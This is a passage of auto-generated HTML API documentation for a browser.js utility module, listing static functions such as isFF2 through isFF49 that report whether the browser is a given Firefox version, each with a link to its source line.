class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF19</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line305\">line 305</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF2\"><span class=\"type-signature\">(static) </span>isFF2<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF2.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line153\">line 153</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF20\"><span class=\"type-signature\">(static) </span>isFF20<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF20</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line313\">line 313</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF21\"><span class=\"type-signature\">(static) </span>isFF21<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF21</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line321\">line 321</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF22\"><span class=\"type-signature\">(static) </span>isFF22<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF22</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line329\">line 329</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF23\"><span class=\"type-signature\">(static) </span>isFF23<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF23</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line337\">line 337</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF24\"><span class=\"type-signature\">(static) </span>isFF24<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF24</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line345\">line 345</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF25\"><span class=\"type-signature\">(static) </span>isFF25<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF25</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line353\">line 353</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF26\"><span class=\"type-signature\">(static) </span>isFF26<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF26</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line361\">line 361</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF27\"><span class=\"type-signature\">(static) </span>isFF27<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF27</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line369\">line 369</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF28\"><span class=\"type-signature\">(static) </span>isFF28<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF28</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line377\">line 377</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF29\"><span class=\"type-signature\">(static) </span>isFF29<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF29</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line385\">line 385</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF3\"><span class=\"type-signature\">(static) </span>isFF3<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF3.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line161\">line 161</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF30\"><span class=\"type-signature\">(static) </span>isFF30<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF30</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line393\">line 393</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF31\"><span class=\"type-signature\">(static) </span>isFF31<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF31</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line401\">line 401</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF32\"><span class=\"type-signature\">(static) </span>isFF32<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF32</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line409\">line 409</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF33\"><span class=\"type-signature\">(static) </span>isFF33<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF33</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line417\">line 417</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF34\"><span class=\"type-signature\">(static) </span>isFF34<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF34</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line425\">line 425</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF35\"><span class=\"type-signature\">(static) </span>isFF35<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF35</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line433\">line 433</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF36\"><span class=\"type-signature\">(static) </span>isFF36<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF36</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line441\">line 441</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF37\"><span class=\"type-signature\">(static) </span>isFF37<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF37</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line449\">line 449</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF38\"><span class=\"type-signature\">(static) </span>isFF38<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF38</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line457\">line 457</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF39\"><span class=\"type-signature\">(static) </span>isFF39<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF39</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line465\">line 465</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF3_5\"><span class=\"type-signature\">(static) </span>isFF3_5<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF3.5.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line169\">line 169</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF3_6\"><span class=\"type-signature\">(static) </span>isFF3_6<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF3.6.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line177\">line 177</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF4\"><span class=\"type-signature\">(static) </span>isFF4<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF4.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line185\">line 185</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF40\"><span class=\"type-signature\">(static) </span>isFF40<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF40</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line473\">line 473</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF41\"><span class=\"type-signature\">(static) </span>isFF41<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF41</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line481\">line 481</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF42\"><span class=\"type-signature\">(static) </span>isFF42<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF42</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line489\">line 489</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF43\"><span class=\"type-signature\">(static) </span>isFF43<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF43</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line497\">line 497</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF44\"><span class=\"type-signature\">(static) </span>isFF44<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF44</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line505\">line 505</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF45\"><span class=\"type-signature\">(static) </span>isFF45<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF45</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line513\">line 513</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF46\"><span class=\"type-signature\">(static) </span>isFF46<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF46</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line521\">line 521</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF47\"><span class=\"type-signature\">(static) </span>isFF47<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF47</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line529\">line 529</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF48\"><span class=\"type-signature\">(static) </span>isFF48<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF48</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line537\">line 537</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF49\"><span class=\"type-signature\">(static) </span>isFF49<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF49</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a 